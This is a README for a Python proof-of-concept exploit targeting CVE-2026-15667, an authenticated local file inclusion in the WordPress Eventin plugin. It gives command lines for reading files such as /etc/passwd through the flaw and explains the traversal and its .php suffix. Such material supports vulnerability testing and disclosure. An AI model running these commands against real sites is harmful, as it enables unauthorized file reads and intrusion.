cflowsec/cve-2026-15667Python proof-of-concept for CVE-2026-15667, an authenticated local file inclusion in the WordPress Eventin plugin via the event_layout REST field.
CVE-2026-15667 WordPress Event Solution LFI POC
Eventin (WordPress plugin wp-event-solution) ≤ 4.1.22 — authenticated (Contributor+) local file inclusion via the event_layout REST field.
For authorized testing only. Do not run this against systems you do not own or have permission to test.
Requires: Python 3, standard library only.
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --session 'wordpress_logged_in_HASH=...'
| Flag | What it does |
|---|
-u / --url | WordPress site root (required). http:// or https://; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically. |
--test | Guest: plugin version + REST route. With auth: POST a traversal and report if it stored |
--file PATH | Include PATH through the LFI and print output. Needs auth |
--uname | WordPress username (Contributor+) |
--password | WordPress password |
--session | Browser Cookie header (or wordpress_logged_in_*=...). Skips /wp-login.php |
--uname/--password and --session are interchangeable. You need one pair or the cookie for --file and for the authenticated half of --test.
--test with no credentials is unauthenticated (readme + /wp-json/eventin/v2/events). The include itself is not.
The plugin includes {layout}.php, so --file /etc/passwd requests /etc/passwd.php. Pass a .php path, or a path that exists after .php is appended.
Stdout: VERSION, ROUTE, PRESENT, NEED_AUTH, VULNERABLE, NOT_VULNERABLE, AUTH_FAILED, file contents.
CVE: CVE-2026-15667. Reported by Wordfence PRISM.